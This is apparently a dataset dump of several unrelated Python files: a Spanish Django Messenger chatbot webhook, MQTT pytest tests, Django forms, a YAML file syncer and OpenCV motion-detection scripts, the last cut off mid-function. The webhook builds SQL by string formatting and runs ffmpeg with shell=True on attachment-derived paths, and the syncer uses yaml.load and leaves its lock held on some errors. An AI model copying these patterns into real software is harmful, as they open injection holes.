settings.CONSTANTS['END_SESSION'], 2)\n elif int(postback) in settings.CONSTANTS['SITUATIONS_ARRAY']:\n # get_init_message_db(sender_id, postback)\n logger.debug(\"Situación...\")\n rdb.hset(sender_id, \"situation\", int(postback))\n get_init_message_db(sender_id, postback, situation=True)\n else:\n get_init_message_db(sender_id, postback)\n\n\ndef classify_message(sender_id, message):\n logger.info(\"Clasificando Mensaje\")\n logger.info(message)\n if 'text' in message: # Llega mensaje de Texto\n if verify_response(sender_id) == \"text\":\n logger.info(\"Texto\")\n compare_audios(sender_id, message['text'])\n else:\n send_text_message(sender_id, settings.CONSTANTS['NOT_WAIT_TEXT'], 2)\n elif 'attachments' in message:\n for attach in message['attachments']:\n if attach['type'] == \"audio\":\n if verify_response(sender_id) == \"audio\":\n logger.info(\"Audio\")\n logger.info(attach)\n send_text_message(sender_id, settings.CONSTANTS['ANALYZE_AUDIO'], 2)\n process_audio(sender_id, attach['payload'])\n else:\n send_text_message(sender_id, settings.CONSTANTS['NO_WAIT_AUDIO'], 2)\n elif attach['type'] == \"image\":\n send_text_message(sender_id, settings.CONSTANTS['MESSAGES_IMAGES'][randint(0, len(settings.CONSTANTS['MESSAGES_IMAGES']))], 2)\n elif attach['type'] == \"location\":\n if verify_response(sender_id) == attach['type']:\n logger.info(\"Ubicación\")\n else:\n send_text_message(sender_id, settings.CONSTANTS['UNINTERPRETED_MESSAGE'], 2)\n else:\n logger.info(\"Otro Adjunto\")\n logger.info(attach['type'])\n send_text_message(sender_id, settings.CONSTANTS['UNINTERPRETED_MESSAGE'], 2)\n else:\n logger.info(\"otro Mensaje\")\n logger.info(message)\n send_text_message(sender_id, settings.CONSTANTS['UNINTERPRETED_MESSAGE'], 2)\n\n\ndef try_again(sender_id):\n attemps_num = int(rdb.hget(sender_id, \"attemps_num\") or 3)\n if attemps_num > 0:\n rdb.hset(sender_id, \"attemps_num\", attemps_num - 1)\n send_text_message(sender_id, settings.CONSTANTS['TRY_AGAIN'], 2)\n last_menu_id = rdb.hget(sender_id, \"last_menu_id\")\n send_audio = str(rdb.hget(sender_id, \"audio_test\"), \"utf-8\")\n send_text_message(sender_id, send_audio, 3)\n else:\n send_text_message(sender_id, settings.CONSTANTS['NO_MORE_ATTEMPS'], 2)\n get_init_message_db(sender_id, menu_id=rdb.hget(sender_id, \"last_menu_options_id\"))\n\n# DB Connection Methods\ndef get_init_message_db(sender_id, menu_parent=None, init_message=False, menu_id=None, situation=False,\n go_back=False):\n logger.info(\"Consultando mensajes\")\n logger.info(\"Mensajes Iniciales\")\n logger.info(menu_parent)\n logger.info(menu_id)\n logger.info(init_message)\n logger.info(situation)\n query = None\n send_audio = None\n if menu_id and not go_back:\n query = settings.CONSTANTS['QUERY_SPECIFIC_MESSAGE'] % int(menu_id)\n elif go_back:\n query = settings.CONSTANTS['QUERY_PARENT_MENU'] % int(menu_parent)\n elif situation:\n logger.info(\"Situation...\")\n logger.info(int(rdb.hget(sender_id, \"selection_type_practice\")))\n rdb.hset(sender_id, \"attemps_num\", 3)\n if int(rdb.hget(sender_id, \"selection_type_practice\")) == settings.CONSTANTS['MENU_AUDIO_ID']:\n rdb.hset(sender_id, \"pending_message\", settings.CONSTANTS['MENU_AUDIO_ID'])\n elif int(rdb.hget(sender_id, \"selection_type_practice\")) == settings.CONSTANTS['TEXT_MENU_AUDIO_ID']:\n rdb.hset(sender_id, \"pending_message\", settings.CONSTANTS['MENU_TEXT_ID'])\n if int(menu_parent) == 12:\n prefix = \"ci\"\n elif int(menu_parent) == 13:\n prefix = \"r\"\n else:\n prefix = \"c\"\n send_audio = settings.CONSTANTS['PUBLIC_PATH_AUDIO'] % \\\n get_file_audio(settings.BASE_DIR + \"/static/audios/situations/\", \"audio\"+prefix)\n elif not init_message:\n query = settings.CONSTANTS['QUERY_MESSAGES_FLOW'] % int(menu_parent)\n else:\n query = settings.CONSTANTS['QUERY_INIT_MESSAGES']\n try:\n if not situation:\n data = query_fnt(query)\n if len(data) > 0:\n # if situation:\n # get_submessages_button_db(sender_id, data[])\n for d in data:\n get_submessages_button_db(sender_id, d)\n else:\n if go_back:\n send_text_message(sender_id, settings.CONSTANTS['MESSAGE_CANT_GO_BACK'], 2)\n else:\n send_text_message(sender_id, settings.CONSTANTS['MESSAGE_NOT_FOUND'], 2)\n get_init_message_db(sender_id, menu_id=rdb.hget(sender_id, \"last_menu_options_id\"))\n else:\n logger.info(\"Enviando audio...\")\n logger.info(send_audio)\n logger.debug(\"%s%s\" % (settings.BASE_DIR, send_audio))\n res = convert_audio(\"%s%s\" % (settings.BASE_DIR, send_audio))\n logger.info(\"Texto Audio Enviado...\")\n logger.info(res)\n rdb.hset(sender_id, \"rpta_audio\", str(res))\n rdb.hset(sender_id, \"audio_test\", send_audio)\n send_text_message(sender_id, send_audio, 3)\n except Exception as e:\n logger.error(\"Se produjo un error..\")\n logger.error(e)\n\n\ndef get_submessages_button_db(sender_id, data_menu):\n rdb.hset(sender_id, \"last_menu_id\", data_menu[0])\n logger.info(\"Consulta submenus para opciones\")\n logger.info(data_menu)\n try:\n query = settings.CONSTANTS['QUERY_MESSAGES_BUTTON'] % int(data_menu[0])\n data = query_fnt(query)\n if len(data) > 0: # Tiene botones y arma estructura.\n rdb.hset(sender_id, \"last_menu_options_id\", data_menu[0])\n logger.info(\"Si hay submenus, se procede a crear estructura de botones...\")\n # send_text_message(sender_id, data_menu[1], data_menu[2], data_menu[0], buttons=data,\n # structure=True)\n send_text_message(sender_id, data_menu[1], data_menu[2], buttons=data, structure=True)\n else:\n logger.info(\"No hay submenus, se envía el mensaje.\")\n send_text_message(sender_id, data_menu[1], data_menu[2], data_menu[0])\n # Manda el mensaje Plano\n except Exception as e:\n logger.error(\"Se produjo un error..\")\n logger.error(e)\n\n\ndef save_user_selection(sender_id, data_save):\n logger.info(\"Guardando Info del chat del usuario...\")\n logger.info(data_save)\n try:\n rdb.hset(sender_id, \"selection_type_practice\", data_save)\n except Exception as e:\n logger.error(\"Se produjo un error..\")\n logger.error(e)\n\n\ndef save_chat(sender_id, message_content, user_response=False):\n logger.info(\"Agregando información al chat...\")\n logger.info(message_content)\n try:\n info_session = check_session(sender_id)\n logger.info(info_session)\n logger.info(message_content)\n logger.info(user_response)\n query = settings.CONSTANTS['UPDATE_CHAT_INFO'] % (info_session, message_content, user_response)\n with connection.cursor() as cursor:\n cursor.execute(query)\n except Exception as e:\n logger.error(\"Se produjo un error..\")\n logger.error(e)\n\n\ndef query_fnt(query):\n logger.info(\"Ejecuta consulta...\")\n logger.info(query)\n with connection.cursor() as cursor:\n cursor.execute(\"SET NAMES utf8mb4;\")\n cursor.execute(\"SET SQL_SAFE_UPDATES = 0;\")\n cursor.execute(query)\n data = cursor.fetchall()\n logger.info(data)\n return data\n\n\n# Session Methods\ndef check_session(sender_id):\n logger.info(\"Consultando Sesión...\")\n logger.info(sender_id)\n try:\n tsn = datetime.datetime.now()\n query = settings.CONSTANTS['QUERY_CURRENT_SESSION'] % (sender_id, tsn, tsn)\n logger.debug(query)\n with connection.cursor() as cursor:\n cursor.execute(query)\n data = cursor.fetchall()\n if len(data) == 0: # No hay una sesión vigente del usuario\n logger.info(\"No existía una sesión del usuario, configurando la sesión...\")\n rdb.sadd(\"current_sessions\", sender_id) # Agrega el id a las sesiones existentes.\n rdb.expire(sender_id, settings.CONSTANTS['TIME_SESSION'])\n tsn = datetime.datetime.now()\n tsv = tsn + datetime.timedelta(seconds=settings.CONSTANTS['TIME_SESSION'])\n query = settings.CONSTANTS['CREATE_SESSION'] % (sender_id, tsv)\n logger.debug(query)\n cursor.execute(query)\n data = cursor.fetchall()\n logger.info(data)\n return -100\n else:\n if rdb.exists(sender_id):\n logger.info(\"Actualizando tiempo de vencimiento de sesión\")\n rdb.expire(sender_id, settings.CONSTANTS['TIME_SESSION'])\n tsn = datetime.datetime.now()\n tsv = tsn + datetime.timedelta(seconds=settings.CONSTANTS['TIME_SESSION'])\n query = settings.CONSTANTS['UPDATE_SESSION'] % (tsv, sender_id)\n logger.debug(query)\n cursor.execute(query)\n data = cursor.fetchall()\n logger.info(data)\n return 200\n else:\n logger.info(\"Sesión iniciada en BD pero no en redis, configurando la sesión\")\n rdb.sadd(\"current_sessions\", sender_id) # Agrega el id a las sesiones existentes.\n # Agrega un tiempo de expiración en la sesion\n rdb.expire(sender_id, settings.CONSTANTS['TIME_SESSION'])\n return data[0][0]\n except Exception as e:\n logger.error(\"Se produjo un error..\")\n logger.error(e)\n\n\ndef end_session(sender_id):\n query = settings.CONSTANTS['UPDATE_FINISH_SESSION'] % sender_id\n query_fnt(query)\n return 200\n\n\ndef save_info_messages_events(query):\n logger.info(\"Guardando mensaje o evento\")\n try:\n query_fnt(query)\n return True\n except Exception as e:\n logger.error(\"Se produjo un error..\")\n logger.error(str(e).index(\"Duplicate\"))\n if str(e).index(\"Duplicate\") != -1:\n logger.error(\"Registro Duplicado, no se guardará en la base de datos!\")\n return False\n\n\n# Historical Methods\ndef calculate_historical(sender_id):\n logger.info(\"Calculando información de uso del aplicativo...\")\n try:\n query = settings.CONSTANTS['CALCULATE_HISTORICAL'] % sender_id\n result = query_fnt(query)\n seconds = int(60 * (abs(result[0][2] / 60) - int(result[0][2] / 60))) if int(result[0][2] / 60) > 0 \\\n else result[0][2]\n minutes = int(result[0][2] / 60)\n minutes += int(60 * (abs(result[0][1] / 60) - int(result[0][1] / 60))) if int(result[0][1] / 60) > 0 \\\n else result[0][1]\n minutes -= 10\n hours = int(result[0][1] / 60)\n hours += result[0][0]\n logger.info(\"hours \" + str(hours))\n logger.info(\"minutes \" + str(minutes))\n logger.info(\"seconds \" + str(seconds))\n send_text_message(sender_id, settings.CONSTANTS['HISTORICAL_MESSAGE'] % (hours, minutes, seconds), 2)\n send_text_message(sender_id, settings.CONSTANTS['HISTORICAL_MESSAGE_SUCCESS'], 2)\n except Exception as e:\n logger.error(\"Se produjo un error..\")\n logger.error(e)\n\n\n# Api Connection Methods\ndef send_text_message(sender_id, message_content, type_content, buttons=None, structure=False,\n messaging_type=None):\n logger.info(\"Tipo de Contenido\")\n logger.info(type_content)\n if structure:\n if buttons:\n buttons = get_buttons_format(buttons)\n message_data = {\n \"recipient\": {\n \"id\": sender_id\n },\n \"message\": {\n \"attachment\": {\n \"type\": \"template\",\n \"payload\": {\n \"template_type\": \"button\",\n \"text\": message_content,\n \"buttons\": buttons\n }\n }\n }\n }\n if messaging_type:\n message_data['messaging_type'] = messaging_type\n call_send_api(message_data)\n else:\n logger.error(\"Hace falta los datos de los botones para armar la estructura.\")\n # Cambiar Log de Error\n elif type_content == 2: # Text\n message_data = {\n \"recipient\": {\n \"id\": sender_id\n },\n \"message\": {\n \"text\": message_content\n }\n }\n if messaging_type:\n message_data['messaging_type'] = messaging_type\n call_send_api(message_data)\n elif type_content == 4: # Image\n message_data = {\n \"recipient\": {\n \"id\": sender_id\n },\n \"message\": {\n \"attachment\": {\n \"type\": \"image\",\n \"payload\": {\n \"url\": message_content,\n \"is_reusable\": True\n }\n }\n }\n }\n if messaging_type:\n message_data['messaging_type'] = messaging_type\n call_send_api(message_data)\n elif type_content == 3: # Audio\n message_data = {\n \"recipient\": {\n \"id\": sender_id\n },\n \"message\": {\n \"attachment\": {\n \"type\": \"audio\",\n \"payload\": {\n \"url\": \"%s/%s\" % (tunnel, message_content)\n }\n }\n }\n }\n if messaging_type:\n message_data['messaging_type'] = messaging_type\n call_send_api(message_data)\n\n\ndef call_send_api(data):\n requests.post(\n url=\"https://graph.facebook.com/v2.6/me/messages\",\n params={\"access_token\": settings.CONSTANTS['FB_TOKEN']},\n json=data\n )\n\n\n# Audio Manager Methods\ndef process_audio(sender_id, attach):\n name_audio = get_audio(sender_id, attach)\n logger.info(name_audio)\n command = \"ffmpeg -i %s -ab 160k -ac 2 -ar 44100 -vn %s\" % (settings.CONSTANTS['PATH_SAVE_AUDIOS'] % name_audio,\n settings.CONSTANTS['PATH_AUDIOS'] % name_audio)\n subprocess.call(command, shell=True)\n res = convert_audio(settings.CONSTANTS['PATH_AUDIOS'] % name_audio) # Analiza la respuesta del usuario\n compare_audios(sender_id, res)\n\n\ndef process_local_audio(path):\n command = \"ffmpeg -i %s -ab 160k -ac 2 -ar 44100 -vn %s\" % (path,\n path)\n subprocess.call(command, shell=True)\n res = convert_audio(path)\n return res\n\n\ndef convert_audio(url):\n try:\n logger.debug(url)\n r = sr.Recognizer()\n harvard = sr.AudioFile(url)\n with harvard as source:\n audio = r.record(source)\n res = r.recognize_google(audio, language=\"es-CO\")\n except Exception as e:\n logger.error(\"Se presentó un error en la conversión del audio.\")\n logger.error(e)\n res = \"\"\n return res\n\n\ndef compare_audios(sender_id, res):\n # logger.info(rdb.hget(sender_id, \"last_menu_id\"))\n # query = settings.CONSTANTS['QUERY_SPECIFIC_MESSAGE'] % int(rdb.hget(sender_id, \"last_menu_id\"))\n # data = query_fnt(query)[0]\n # response = data[3]\n try:\n response = str(rdb.hget(sender_id, \"rpta_audio\"), \"utf-8\")\n send_text_message(sender_id, settings.CONSTANTS['ANALYZE_AUDIO'], 2)\n percent = similar(response, res)\n if 0 <= percent <= 40:\n send_text_message(sender_id, settings.CONSTANTS['RESULT_AUDIO_WRONG'] % percent, 2)\n try_again(sender_id)\n elif 40 < percent <= 55:\n send_text_message(sender_id, settings.CONSTANTS['RESULT_AUDIO_NOT_WRONG'] % percent, 2)\n try_again(sender_id)\n elif 55 < percent <= 75:\n send_text_message(sender_id, settings.CONSTANTS['RESULT_AUDIO_MEDIUM'] % percent, 2)\n try_again(sender_id)\n elif 75 < percent:\n send_text_message(sender_id, settings.CONSTANTS['RESULT_AUDIO_OK'] % percent, 2)\n get_init_message_db(sender_id, menu_id=rdb.hget(sender_id, \"last_menu_options_id\"))\n except Exception as e:\n send_text_message(sender_id, settings.CONSTANTS['NOT_WAIT_TEXT_YET'], 2)\n get_init_message_db(sender_id, menu_id=rdb.hget(sender_id, \"last_menu_options_id\"))\n logger.error(\"Se ha producido un error..\")\n logger.error(e)\n","repo_name":"David-Linares/epaes_project","sub_path":"epaesproject/webhook/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":23918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"35248953683","text":"from .. import MQTTClient\nimport pytest\n\n# test_mqtt.py\n#\nmqtt_host = \"dummy.com\"\nmqtt_key = \"pass\"\nmqtt_user = \"dummy\"\nmqtt_secure = True\ndef test_init():\n dummy = MQTTClient(mqtt_user, mqtt_key, mqtt_host, mqtt_secure)\n assert isinstance(dummy, MQTTClient)\n\ndef test_init_with_defaults():\n dummy = MQTTClient(mqtt_user, mqtt_key, mqtt_host)\n assert isinstance(dummy, MQTTClient)\n\n@pytest.mark.parametrize(\"user, key, host, secure\",\n [\n (\"\", mqtt_key, mqtt_host, mqtt_secure),\n (mqtt_user, \"\", mqtt_host, mqtt_secure),\n (\"\", \"\", \"\", \"\")\n ])\n\ndef test_catch_missing_parameters_in_init(user, key, host, secure):\n with pytest.raises(TypeError):\n dummy = MQTTClient(user, key, host, secure)\n","repo_name":"garethhowell/pitelemetry","sub_path":"src/pitelemetry/tests/test_mqtt.py","file_name":"test_mqtt.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"42174186519","text":"from django import forms\nfrom .models import Article,Comment\n\nclass ArticleForm(forms.ModelForm):\n class Meta:\n model = Article\n fields = '__all__'\n labels = {\n 'title': '제목',\n 'content' : '내용',\n 'image' : '이미지',\n 'thumbnail' : '썸네일'\n }\n\n# class CommentForm(forms.ModelForm):\n# class Meta:\n# model = Comment \n# fields = ['content']\n\nclass CommentForm(forms.ModelForm):\n content = forms.CharField(\n label=\"\",\n widget=forms.TextInput(attrs={\n \"placeholder\": \"여러분의 댓글을 기다리고 있어요!\",\n })\n )\n class Meta:\n model = Comment \n fields = ['content']","repo_name":"rrwe23/KDT-practice","sub_path":"Django/1019 to many relationship/articles/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"74173309220","text":"import yaml\nimport time\nimport logging\nimport pathlib\nfrom flask_babel import gettext\nfrom yaml_dump_like_ansible import yaml_dump_like_ansible\n\nclass YamlFileSyncer():\n \"\"\"\n Reads and writes a YAML file, with mutex managment\n \"\"\"\n\n def __init__(self, file_path):\n self.__file_path = file_path\n self.__mutex_enabled = False\n self.init_error_return = \"\"\n # Create paths if needed\n file_purepath = pathlib.PurePosixPath(self.__file_path)\n file_dir = file_purepath.parent\n pathlib.Path(file_dir).mkdir(parents=True, exist_ok=True)\n\n # Always try to create file if not exists\n try:\n file = open(self.__file_path, 'x')\n file.close()\n except FileExistsError:\n pass\n except Exception as e:\n logging.error(\"Cannot create\" + self.__file_path + \" -- \" + str(e))\n self.init_error_return = ((gettext(\"Cannot create file: %(file_path)s.\", file_path=self.__file_path)))\n self.init_error_return = \"\"\n\n\n def __get_mutex(self):\n mutex_timeout = 5\n start_epoch = time.time()\n got_mutex = False\n while ((time.time() - start_epoch) < mutex_timeout) and \\\n (got_mutex == False):\n if self.__mutex_enabled == False:\n self.__mutex_enabled = True\n got_mutex = True\n time.sleep(0.2)\n if got_mutex == False:\n logging.warning(\"Unable to get mutex on file: \" + self.__file_path)\n return((gettext(\"Unable to get mutex on file: %(file_path)s.\", file_path=self.__file_path), None))\n return(\"\", None)\n\n\n def __release_mutex(self):\n self.__mutex_enabled = False\n\n\n def read(self):\n data = None\n (error_text, nothing) = self.__get_mutex()\n if error_text != \"\" : return(error_text, None)\n try:\n with open(self.__file_path, 'r') as yaml_file:\n data = yaml.load(yaml_file.read())\n except Exception as e:\n logging.error(\"Cannot open or read \" + self.__file_path + \" -- \" + str(e))\n return((gettext(\"Cannot read file : %(file_path)s.\", file_path=self.__file_path), None))\n yaml_file.close()\n self.__release_mutex()\n return(\"\", data)\n\n\n def write(self, data):\n (error_text, nothing) = self.__get_mutex()\n if error_text != \"\" : return(error_text, None)\n try:\n with open(self.__file_path, 'w+') as yaml_file:\n yaml_file.write(yaml_dump_like_ansible(data))\n except Exception as e:\n logging.error(\"Cannot open or write \" + self.__file_path + \" -- \" + str(e))\n return((gettext(\"Cannot open or write file: %(file_path)s.\", file_path=self.__file_path), None))\n return(None)\n yaml_file.close()\n self.__release_mutex()\n return(\"\", data)\n\n\n def dump_as_text(self):\n return(yaml_dump_like_ansible(self.read()))\n\n\nif __name__ == \"__main__\":\n data = {\n 'key1': 'value1',\n 'key2': 'value2',\n 'key3': {\n 'key3.1': 'value3.1',\n 'key3.2': 'value3.2'\n },\n 'key4': 'value4'\n }\n\n\n yaml_file = YamlFileSyncer('./test.yml')\n print(yaml_file.init_error_return)\n print(yaml_file.write(data))\n data['key2'] = 'value2modified'\n print(yaml_file.write(data))\n print(yaml_file.read())\n","repo_name":"Liberasys/lognact-gui","sub_path":"lib/yaml_file_syncer.py","file_name":"yaml_file_syncer.py","file_ext":"py","file_size_in_byte":3463,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"70409167461","text":"# import the necessary packages\nimport argparse\nimport datetime\nimport time\nimport imutils\nimport numpy as np\nimport cv2\nfrom os import path\n\n\ndef process(video_path, output_path=None):\n # must provide a valid path to a video\n if not path.isfile(video_path):\n raise RuntimeError(\"Incorrect path to video file\")\n process_frame_diff(video_path, output_path)\n # process_optical_LK(video_path)\n # process_optical_flow(video_path)\n # process_frame_diff_optical(video_path)\n # process_MOG(video_path)\n\n\ndef get_video_name(video_path):\n return str.rsplit(path.basename(path.normpath(video_path)), '.', 1)[0]\n\n\ndef get_video_writer(cap, video_path, output_path=None):\n if output_path is None:\n output_path = \"\"\n output_path = path.join(output_path, get_video_name(video_path))\n output_path += \"_\" + str(time.strftime(\"%d-%m-%Y-%H-%M-%S\")) + '.avi'\n fourcc = cv2.cv.CV_FOURCC(*'XVID')\n # See this link for what each index corresponds to:\n # http://docs.opencv.org/2.4/modules/highgui/doc/reading_and_writing_images_and_video.html#videocapture-get\n return cv2.VideoWriter(output_path, fourcc, cap.get(5), (int(cap.get(3)), int(cap.get(4))))\n\n\ndef grab_and_convert_frame(cap):\n ret, orig = cap.read()\n # No more frames left to grab or something went wrong\n if not ret:\n print('No frame could be grabbed.')\n return None, None\n frame = imutils.resize(orig, width=600)\n return cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY), orig\n\n\ndef process_frame_diff(video_path, output_path=None):\n cap = cv2.VideoCapture(video_path)\n (background_model, _) = grab_and_convert_frame(cap)\n # No more frames left to grab or something went wrong\n if background_model is None:\n return\n dilation_kernel = np.ones((3, 3), np.uint8)\n writer = get_video_writer(cap, video_path, output_path)\n\n while True:\n frame, orig = grab_and_convert_frame(cap)\n if frame is None:\n break\n\n # calculate the difference\n delta = cv2.absdiff(frame, background_model)\n thresh = cv2.threshold(delta, 50, 255, cv2.THRESH_BINARY)[1]\n dilation = cv2.dilate(thresh, dilation_kernel, iterations=1)\n # found foreground so write to video\n if cv2.countNonZero(dilation) > 0:\n print(\"writing frame\")\n writer.write(orig)\n\n # display frames\n cv2.imshow(\"Current frame\", frame)\n # cv2.imshow(\"Background model\", background_model)\n cv2.imshow(\"Diff\", dilation)\n\n # current frame becomes background model\n background_model = frame\n\n # break loop on user input\n k = cv2.waitKey(1) & 0xff\n if k == ord(\"q\"):\n break\n elif k == ord('p'):\n cv2.imwrite(\"test_frame_\" + str(time.strftime(\"%d-%m-%Y-%H-%M-%S\")) + \".png\", frame)\n cv2.imwrite(\"test_thresh_\" + str(time.strftime(\"%d-%m-%Y-%H-%M-%S\")) + \".png\", dilation)\n\n writer.release()\n cap.release()\n cv2.destroyAllWindows()\n\n\ndef process_demo(video_path):\n \"\"\"process the video provided by the video_path to extract portions with motion\"\"\"\n camera = cv2.VideoCapture(video_path)\n # initialize the first frame in the video stream. Note, we assume the first frame is the background\n firstFrame = None\n # loop over the frames of the video\n while True:\n # grab the current frame and initialize the occupied/unoccupied text\n (grabbed, frame) = camera.read()\n text = \"Unoccupied\"\n\n # if the frame could not be grabbed, then we have reached the end of the video\n if not grabbed:\n print('No frame could be grabbed. Exiting video processing...')\n break\n\n # resize the frame, convert it to grayscale, and blur it a little for noise reduction\n frame = imutils.resize(frame, width=500)\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n gray = cv2.GaussianBlur(gray, (21, 21), 0)\n\n # if the first frame is None, initialize it\n if firstFrame is None:\n firstFrame = gray\n continue\n\n # compute the absolute difference between the current frame and first frame\n frameDelta = cv2.absdiff(firstFrame, gray)\n thresh = cv2.threshold(frameDelta, 25, 255, cv2.THRESH_BINARY)[1]\n\n # dilate the thresholded image to fill in holes, then find contours on thresholded image\n thresh = cv2.dilate(thresh, None, iterations=2)\n (cnts, _) = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL,\n cv2.CHAIN_APPROX_SIMPLE)\n\n # loop over the contours\n for c in cnts:\n # if the contour is too small, ignore it\n if cv2.contourArea(c) < args[\"min_area\"]:\n continue\n\n # compute the bounding box for the contour, draw it on the frame and update the text\n (x, y, w, h) = cv2.boundingRect(c)\n cv2.rectangle(frame, (x, y), (x + w, y + h), (0, 255, 0), 2)\n text = \"Occupied\"\n\n # draw the text and timestamp on the frame\n cv2.putText(frame, \"Room Status: {}\".format(text), (10, 20),\n cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 0, 255), 2)\n cv2.putText(frame, datetime.datetime.now().strftime(\"%A %d %B %Y %I:%M:%S%p\"),\n (10, frame.shape[0] - 10), cv2.FONT_HERSHEY_SIMPLEX, 0.35, (0, 0, 255), 1)\n\n # show the frame and record if the user presses a key\n cv2.imshow(\"Security Feed\", frame)\n cv2.imshow(\"Thresh\", thresh)\n cv2.imshow(\"Frame Delta\", frameDelta)\n key = cv2.waitKey(1) & 0xFF\n\n # if the `q` key is pressed, break from the lop\n if key == ord(\"q\"):\n break\n\n # cleanup the camera and close any open windows\n camera.release()\n cv2.destroyAllWindows()\n\n\ndef process_MOG(video_path):\n cap = cv2.VideoCapture(video_path)\n fgbg = cv2.BackgroundSubtractorMOG(5, 5, 0.01)\n\n while (1):\n grabbed, frame = cap.read()\n text = \"Unoccupied\"\n\n # if the frame could not be grabbed, then we have reached the end of the video\n if not grabbed:\n print('No frame could be grabbed. Exiting video processing...')\n break\n\n frame = imutils.resize(frame, width=600)\n # gray = frame\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n gray = cv2.GaussianBlur(gray, (21, 21), 0)\n\n fgmask = fgbg.apply(gray)\n cv2.imshow('mask', fgmask)\n cv2.imshow('frame', frame)\n k = cv2.waitKey(30) & 0xff\n if k == ord(\"q\"):\n break\n\n cap.release()\n cv2.destroyAllWindows()\n\n\ndef process_GMG(video_path):\n cap = cv2.VideoCapture(video_path)\n kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (3, 3))\n fgbg = cv2.BackgroundSubtractorMOG2()\n\n while (1):\n grabbed, frame = cap.read()\n text = \"Unoccupied\"\n\n # if the frame could not be grabbed, then we have reached the end of the video\n if not grabbed:\n print('No frame could be grabbed. Exiting video processing...')\n break\n\n frame = imutils.resize(frame, width=800)\n # gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n # gray = cv2.GaussianBlur(frame, (21, 21), 0)\n\n fgmask = fgbg.apply(frame)\n fgmask = cv2.morphologyEx(fgmask, cv2.MORPH_OPEN, kernel)\n cv2.imshow('frame', fgmask)\n k = cv2.waitKey(30) & 0xff\n if k == ord(\"q\"):\n break\n\n cap.release()\n cv2.destroyAllWindows()\n\n\ndef process_optical_flow(video_path):\n cap = cv2.VideoCapture(video_path)\n ret, frame1 = cap.read()\n frame1 = imutils.resize(frame1, width=800)\n prvs = cv2.cvtColor(frame1, cv2.COLOR_BGR2GRAY)\n prvs = cv2.GaussianBlur(prvs, (21, 21), 0)\n hsv = np.zeros_like(frame1)\n hsv[..., 1] = 255\n\n while True:\n ret, frame2 = cap.read()\n frame2 = imutils.resize(frame2, width=800)\n next_f = cv2.cvtColor(frame2, cv2.COLOR_BGR2GRAY)\n next_f = cv2.GaussianBlur(next_f, (21, 21), 0)\n\n # flow = cv2.calcOpticalFlowFarneback(prvs, next, 0.5, 1, 3, 15, 3, 5, 1)\n flow = cv2.calcOpticalFlowFarneback(prvs, next_f, 0.5, 3, 15, 3, 5, 1.2, 0)\n\n mag, ang = cv2.cartToPolar(flow[..., 0], flow[..., 1])\n hsv[..., 0] = ang * 180 / np.pi / 2\n hsv[..., 2] = cv2.normalize(mag, None, 0, 255, cv2.NORM_MINMAX)\n rgb = cv2.cvtColor(hsv, cv2.COLOR_HSV2BGR)\n\n cv2.imshow('frame2', rgb)\n k = cv2.waitKey(30) & 0xff\n if k == ord('q'):\n break\n # elif k == ord('s'):\n # cv2.imwrite('opticalfb.png', frame2)\n # cv2.imwrite('opticalhsv.png', rgb)\n prvs = next_f\n\n cap.release()\n cv2.destroyAllWindows()\n\n\ndef process_frame_diff_optical(video_path):\n cap = cv2.VideoCapture(video_path)\n (background_model, _) = grab_and_convert_frame(cap)\n # No more frames left to grab or something went wrong\n if background_model is None:\n return\n\n dilation_kernel = np.ones((3, 3), np.uint8)\n # Parameters for lucas kanade optical flow\n lk_params = dict(winSize=(15, 15),\n maxLevel=2,\n criteria=(cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT, 10, 0.03))\n\n # Create some random colors\n color = np.random.randint(0, 255, (100, 3))\n\n feature_params = dict(maxCorners=100,\n qualityLevel=0.3,\n minDistance=7,\n blockSize=7)\n\n while True:\n frame, orig = grab_and_convert_frame(cap)\n if frame is None:\n break\n\n # calculate the difference\n delta = cv2.absdiff(frame, background_model)\n thresh = cv2.threshold(delta, 50, 255, cv2.THRESH_BINARY)[1]\n dilation = cv2.dilate(thresh, dilation_kernel, iterations=1)\n nonzeros = cv2.findNonZero(dilation)\n\n frame_changed = frame.copy();\n # Create a mask image for drawing purposes\n mask = np.zeros_like(background_model)\n if nonzeros is not None and len(nonzeros) > 0:\n nonzeros = np.float32(nonzeros)\n p1, st, err = cv2.calcOpticalFlowPyrLK(background_model, frame_changed, nonzeros, None, **lk_params)\n\n # Select good points\n good_new = p1[st == 1]\n good_old = nonzeros[st == 1]\n\n # draw the tracks\n for i, (new, old) in enumerate(zip(good_new, good_old)):\n # print(i, (new, old))\n a, b = new.ravel()\n c, d = old.ravel()\n cv2.line(mask, (a, b), (c, d), color[i % 100].tolist(), 2)\n cv2.circle(frame_changed, (a, b), 5, color[i % 100].tolist(), -1)\n\n frame_changed = cv2.add(frame_changed, mask)\n\n # display frames\n cv2.imshow(\"Current frame\", frame_changed)\n # cv2.imshow(\"Background model\", background_model)\n cv2.imshow(\"Diff\", dilation)\n\n # current frame becomes background model\n background_model = frame\n\n # break loop on user input\n k = cv2.waitKey(1) & 0xff\n if k == ord(\"q\"):\n break\n elif k == ord('p'):\n cv2.imwrite(\"test_frame_\" + str(time.strftime(\"%d-%m-%Y-%H-%M-%S\")) + \".png\", frame)\n cv2.imwrite(\"test_thresh_\" + str(time.strftime(\"%d-%m-%Y-%H-%M-%S\")) + \".png\", dilation)\n\n cap.release()\n cv2.destroyAllWindows()\n\n\ndef process_optical_LK(video_path):\n cap = cv2.VideoCapture(video_path)\n # params for ShiTomasi corner detection\n feature_params = dict(maxCorners=100,\n qualityLevel=0.3,\n minDistance=7,\n blockSize=7)\n\n # Parameters for lucas kanade optical flow\n lk_params = dict(winSize=(15, 